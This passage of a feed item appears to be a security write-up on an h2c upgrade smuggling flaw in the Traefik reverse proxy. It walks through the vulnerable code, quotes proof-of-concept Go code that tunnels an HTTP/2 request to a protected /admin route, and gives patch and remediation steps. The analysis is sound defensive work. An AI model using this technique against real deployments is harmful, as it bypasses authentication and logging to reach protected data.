&lt;p&gt;&lt;code&gt;removeConnectionHeaders()&lt;/code&gt; in &lt;code&gt;pkg/middlewares/forwardedheaders/forwarded_header.go&lt;/code&gt; (around lines 198–234) cleans up the hop-by-hop headers listed in a &lt;code&gt;Connection&lt;/code&gt; header. But when &lt;code&gt;Connection: Upgrade&lt;/code&gt; is present, the &lt;code&gt;Upgrade&lt;/code&gt; header itself is treated as &lt;strong&gt;something to preserve, not something to strip.&lt;/strong&gt; The problem: nothing here checks whether that &lt;code&gt;Upgrade&lt;/code&gt; value is &lt;code&gt;websocket&lt;/code&gt;, &lt;code&gt;h2c&lt;/code&gt;, or any arbitrary token an attacker made up.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// pkg/middlewares/forwardedheaders/forwarded_header.go (removeConnectionHeaders, ~198-234)&lt;/span&gt;
&lt;span class="c"&gt;// when Connection: Upgrade is present, the Upgrade header is preserved and passed on unchanged&lt;/span&gt;
&lt;span class="c"&gt;// — there's no check for whether the token is "websocket"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2 — WebSocket handling is "special treatment," not an allowlist
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;isWebSocketUpgrade()&lt;/code&gt; in &lt;code&gt;pkg/proxy/httputil/proxy.go&lt;/code&gt; (around line 170) applies &lt;code&gt;cleanWebSocketHeaders()&lt;/code&gt; specifically to WebSocket upgrade requests. At first glance this looks like logic that "allows WebSocket and blocks everything else," but in practice it only &lt;strong&gt;adds extra handling&lt;/strong&gt; for WebSocket — there's no code anywhere that rejects other upgrade tokens, &lt;code&gt;h2c&lt;/code&gt; included. If &lt;code&gt;isWebSocketUpgrade()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, the request simply continues on as an ordinary upgrade request.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — &lt;code&gt;smart_roundtripper&lt;/code&gt; forwards the upgrade request to the backend over HTTP/1
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;RoundTrip()&lt;/code&gt; in &lt;code&gt;pkg/server/service/smart_roundtripper.go&lt;/code&gt; (around line 56) sends a request containing &lt;code&gt;Connection: Upgrade&lt;/code&gt; to the backend over HTTP/1. Up to this point, all that's happened is "the request got forwarded" — the actual security boundary collapses in the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — a &lt;code&gt;101 Switching Protocols&lt;/code&gt; response erases the routing/middleware layer entirely (the root cause)
&lt;/h3&gt;

&lt;p&gt;Traefik's default proxy uses the standard library's &lt;code&gt;net/http/httputil.ReverseProxy&lt;/code&gt;. When the backend responds with &lt;code&gt;101 Switching Protocols&lt;/code&gt;, &lt;code&gt;ReverseProxy&lt;/code&gt; switches that connection into &lt;strong&gt;a tunnel mode that just copies bytes between client and backend.&lt;/strong&gt; On its own, this is standard behavior meant to support proxying WebSocket — nothing wrong with it in isolation.&lt;/p&gt;

&lt;p&gt;The actual problem is that Traefik's router and middleware selection happen &lt;strong&gt;only for that one initial HTTP/1 request.&lt;/strong&gt; Once the 101 response opens the tunnel, Traefik no longer treats that connection as "a flow of HTTP requests it needs to interpret." So when a new HTTP/2 stream (i.e., a brand-new HTTP request) arrives over that tunnel, it is &lt;strong&gt;never routed from scratch, and no middleware ever touches it.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// Core of the PoC attacker code (published as GHSA-w4v4-9rw7-5326)&lt;/span&gt;
&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;front&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"GET /public HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Host: x&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Connection: Upgrade, HTTP2-Settings&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Upgrade: h2c&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c"&gt;// ... after receiving the 101, an HTTP/2 client is built on top of the SAME raw socket&lt;/span&gt;
&lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;http2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Transport&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewClientConn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http://x/admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RoundTrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;// /admin never passes through the r-admin router at all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key point: the attacker never sends a request to &lt;code&gt;/admin&lt;/code&gt; directly. They &lt;strong&gt;turn the connection established through the unauthenticated &lt;code&gt;/public&lt;/code&gt; router into a tunnel&lt;/strong&gt;, and then, over that tunnel — the same already-open TCP connection — they issue a brand-new HTTP/2 request that reaches &lt;code&gt;/admin&lt;/code&gt;. As far as Traefik is concerned, it processed exactly one &lt;code&gt;/public&lt;/code&gt; request; whatever flows over that same connection afterward is invisible to it.&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/sl1uAxC82iM" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;





&lt;h3&gt;
  
  
  What the published PoC actually demonstrated
&lt;/h3&gt;

&lt;p&gt;With Traefik configured so that &lt;code&gt;/public&lt;/code&gt; (no auth) and &lt;code&gt;/admin&lt;/code&gt; (BasicAuth) both route to the same backend, the researcher's published PoC produced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[1] Direct GET /admin (no creds)      -&amp;gt; 401 Unauthorized
[2] Upgrade: h2c to /public (no auth) -&amp;gt; "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -&amp;gt; 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/admin&lt;/code&gt;, which returns &lt;code&gt;401&lt;/code&gt; when requested directly, returns &lt;code&gt;200&lt;/code&gt; with the protected data once reached through the h2c tunnel. &lt;code&gt;BasicAuth&lt;/code&gt;, &lt;code&gt;ForwardAuth&lt;/code&gt;, &lt;code&gt;IPAllowList&lt;/code&gt;, &lt;code&gt;RateLimit&lt;/code&gt; — every middleware attached to that router — gets bypassed, and requests sent through the tunnel &lt;strong&gt;don't show up as individual requests&lt;/strong&gt; in Traefik's normal access logs, metrics, or tracing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this is different from operator-configured h2c support
&lt;/h2&gt;

&lt;p&gt;Traefik already lets operators explicitly enable h2c backend communication through the &lt;code&gt;h2c://&lt;/code&gt; service scheme or the &lt;code&gt;transportH2C&lt;/code&gt; setting. This vulnerability is unrelated to that feature. Here, the upgrade is initiated by &lt;strong&gt;the client, not the operator&lt;/strong&gt;, and Traefik forwards it regardless of whether h2c is configured for that backend at all. In other words, even a completely ordinary HTTP/1 backend that the operator never intended to speak h2c can be affected, as long as its implementation happens to accept &lt;code&gt;Upgrade: h2c&lt;/code&gt; and answer with &lt;code&gt;101&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Not every backend is vulnerable, though. Recent &lt;code&gt;golang.org/x/net/http2/h2c&lt;/code&gt; implementations no longer support the HTTP/1.1 upgrade mechanism at all, so a current Go-based h2c server using that implementation isn't exposed through this path. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-adjacent stacks, however, may still accept the upgrade.&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — stop forwarding the Upgrade token unchecked
&lt;/h2&gt;

&lt;p&gt;Traefik 2.11.57 and 3.7.13 stop forwarding the &lt;code&gt;Upgrade: h2c&lt;/code&gt; token and its accompanying &lt;code&gt;HTTP2-Settings&lt;/code&gt; header to the backend. &lt;code&gt;Upgrade: websocket&lt;/code&gt; is unaffected and continues to work as before.&lt;/p&gt;

&lt;p&gt;The principle here is clear. For any component that has to guarantee requests pass through a specific layer — routing, authentication — before reaching their destination, protocol-switching mechanisms that can bypass that layer (&lt;code&gt;Upgrade&lt;/code&gt;, &lt;code&gt;CONNECT&lt;/code&gt;, and similar) need to be restricted to an explicit allowlist. The key lesson of this case is that "we added special handling for WebSocket" does not mean "anything that isn't WebSocket gets rejected." And any code that handles a response like &lt;code&gt;101 Switching Protocols&lt;/code&gt; — one that fundamentally redefines what the connection even is — needs to re-verify that its security layer still applies after that transition, not just before it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Traefik to 2.11.57 or 3.7.13 or later immediately. (The 3.4.2–3.6 branches are end-of-life, so migrate to 3.7.13.)&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, separating services so that protected and public paths &lt;strong&gt;never share the same backend&lt;/strong&gt; is a workable interim mitigation — if they're different backends, an opened tunnel still can't reach the protected path.&lt;/li&gt;
&lt;li&gt;Check directly whether your backend actually accepts &lt;code&gt;Upgrade: h2c&lt;/code&gt; and responds with &lt;code&gt;101&lt;/code&gt; — if it doesn't, this precondition doesn't hold for your environment.&lt;/li&gt;
&lt;li&gt;Even after patching, requests sent through the tunnel never appeared as individual entries in normal access logs, so confirming whether this was exploited during a past exposure window can't rely on access logs alone. Cross-check backend-side logs (where available) and look for unusual long-lived connections or upgrade-request patterns.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>python</category>
    </item>
  </channel>
</rss>
